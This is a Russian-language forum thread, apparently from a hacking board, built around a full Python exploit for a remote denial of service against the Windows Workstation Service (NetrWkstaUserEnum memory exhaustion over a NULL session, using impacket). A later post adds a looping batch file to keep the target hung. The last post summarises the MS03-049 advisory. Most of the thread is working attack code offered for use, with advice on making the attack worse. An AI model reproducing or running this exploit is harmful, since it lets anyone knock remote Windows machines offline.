Вызов: wks_dos.py REMOTE_HOST MEGABYTES_TO_ALLOCATE Эксплоит выделяет MEGABYTES_TO_ALLOCATE мегабайт памяти на уязвимой системе за счет ошибки в сервисе Workstation Service. Правда у меня при тесте на вмваре она освобождалась через несколько секунд. Но если в цикле пустить сплоит, будут нехилые тормоза на удаленной системе из-за малого объема свободной памяти. Как всегда, базовый комплект Python + либа impacket. wks_dos.py Code: #!/usr/bin/python # MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit # Bug discovered by h07 <h07@interia.pl> # Tested on:.. # - Windows XP SP2 Polish # - Windows 2000 SP4 Polish + All Microsoft Security Bulletins # Example: # # wks_dos.py 192.168.0.2 512 # # [*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit # [*] Coded by h07 <h07@interia.pl> # [*] Connecting to 192.168.0.2:445 (NULL Session) # [+] Connected # [+] The NETBIOS connection with the remote host timed out. # [+] 192.168.0.2: Out of memory # [+] Done # # NetrWkstaUserEnum(max_len = 1024 * 1024 * 512) # Exploit --> NULL Session --> PIPE: browser --> NetrWkstaUserEnum() --> Windows XP # svchost.exe memory usage: 512 MB ## from impacket.structure import Structure from impacket.nmb import NetBIOSTimeout from impacket.dcerpc import transport from impacket import uuid from struct import pack from string import atoi from sys import argv from sys import exit print "\n[*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit" print "[*] Coded by h07 <h07@interia.pl>" if(len(argv) < 3): print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0]) print "[*] Sample: %s 192.168.0.1 512" % (argv[0]) exit() MB = 1024 * 1024 host = argv[1] memory_size = MB * atoi(argv[2]) pipe = 'browser' UUID = ('6bffd098-a112-3610-9833-46c3f87e345a', '1.0') stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]" stringbinding %= {'host':host, 'pipe':pipe} def utf16(str): return str.encode('utf_16_le') class B1(Structure): alignment = 4 structure = ( ('id', '<L=0x41414141'), ('max', '<L'), ('offset', '<L=0'), ('actual', '<L'), ('str', '%s'), ) class NetrWkstaUserEnum(Structure): alignment = 4 opnum = 2 structure = ( ('server', ':', B1), ('info_level1', '<L=1'), ('info_level2', '<L=1'), ('referent_id1', '<L=0x42424242'), ('num_entries', '<L=0'), ('null_pointer', '<L=0'), ('max_len', '<L'), ('referent_id2', '<L=0x43434343'), ('enumeration_handle', '<L=0x00000000'), ) query = NetrWkstaUserEnum() server = "%s\x00" % (host) query['server'] = B1() query['server']['id'] = 0x41414141 query['server']['actual'] = len(server) query['server']['max'] = len(server) query['server']['str'] = utf16(server) query['max_len'] = memory_size trans = transport.DCERPCTransportFactory(stringbinding) print "[*] Connecting to %s:445 (NULL Session)" % (host) try: trans.connect() except Exception, err: print "[-] %s" % (err) exit() print "[+] Connected" dce = trans.DCERPC_class(trans) dce.bind(uuid.uuidtup_to_bin((UUID[0], UUID[1]))) dce.call(query.opnum, query) try: raw = dce.recv() status = raw[-4:] if(status == pack("<L", 0x00000005)): print "[-] Return code: Access denied" exit() if(status == pack("<L", 0x00000008)): print "[-] Return code: Memory allocation error, out of memory" exit() if(status == pack("<L", 0x00000000)): print "[+] Return code: Success, memory allocated" except NetBIOSTimeout, err: print "[+] %s" % (err) print "[+] %s: Out of memory" % (host) print "[+] Done" # EoF Source: http://www.securitylab.ru/poc/extra/283320.php
Заглушить получится. Этот сервис в лице универсального хоста для сервисов svchost.exe убивается TaskManager'ом. Правда, туго без него будет. Зато от доса спасёт)
Хз Вот батничек, чтобы завесило конкретно) Code: @echo off :label h:\Python25\python.exe wks_dos.py %1 %2 goto label Параметры те же. Путь к питону прописать свой) Я для начала попробовал 600 мегов, варька молча заткнулась и перестала подавать признаки жизни
11 ноября 2003 г. корпорация Microsoft опубликовала бюллетень MS03-49, посвященный обнаружению серьезной уязвимости в системе безопасности операционной системы Windows, классифицируемой по шкале угроз компании как "критическая" (Critical). Переполнение буфера в сервисе рабочей станции может привести к запуску кода Уязвимости подвержены следующие версии операционной системы Windows: Microsoft Windows 2000 Service Pack 2, 3, 4 Microsoft Windows XP, Microsoft Windows XP Service Pack 1 Microsoft Windows XP 64-Bit Edition Для пользователей Windows XP, на компьютерах которых уже установлен патч из бюллетеня MS03-043 от 15 октября 2003 г., не требуется установка патча, которому посвящен данный бюллетень. Уязвимостью невозможно воспользоваться, если на компьютере блокированы порты UDP/138, 139, 445 и TCP/ 138, 139, 445 (например, посредством сетевого экрана). Большинство брандмауэров, включая и Internet Connection Firewall в Windows XP, блокируют эти порты по умолчанию. Уязвимость состоит в наличии непроверяемого буфера в сервисе рабочей станции (Workstation service) и может привести к запуску кода в атакованной системе. В случае осуществления успешного нападения атакующий получает привилегии системного администратора, после чего становится возможным осуществление в пораженной системе любых действий, включая установку программ, чтение файлов, внесение изменений в данные и удаление их, создание новый аккаунтов. Получается усовершенствовали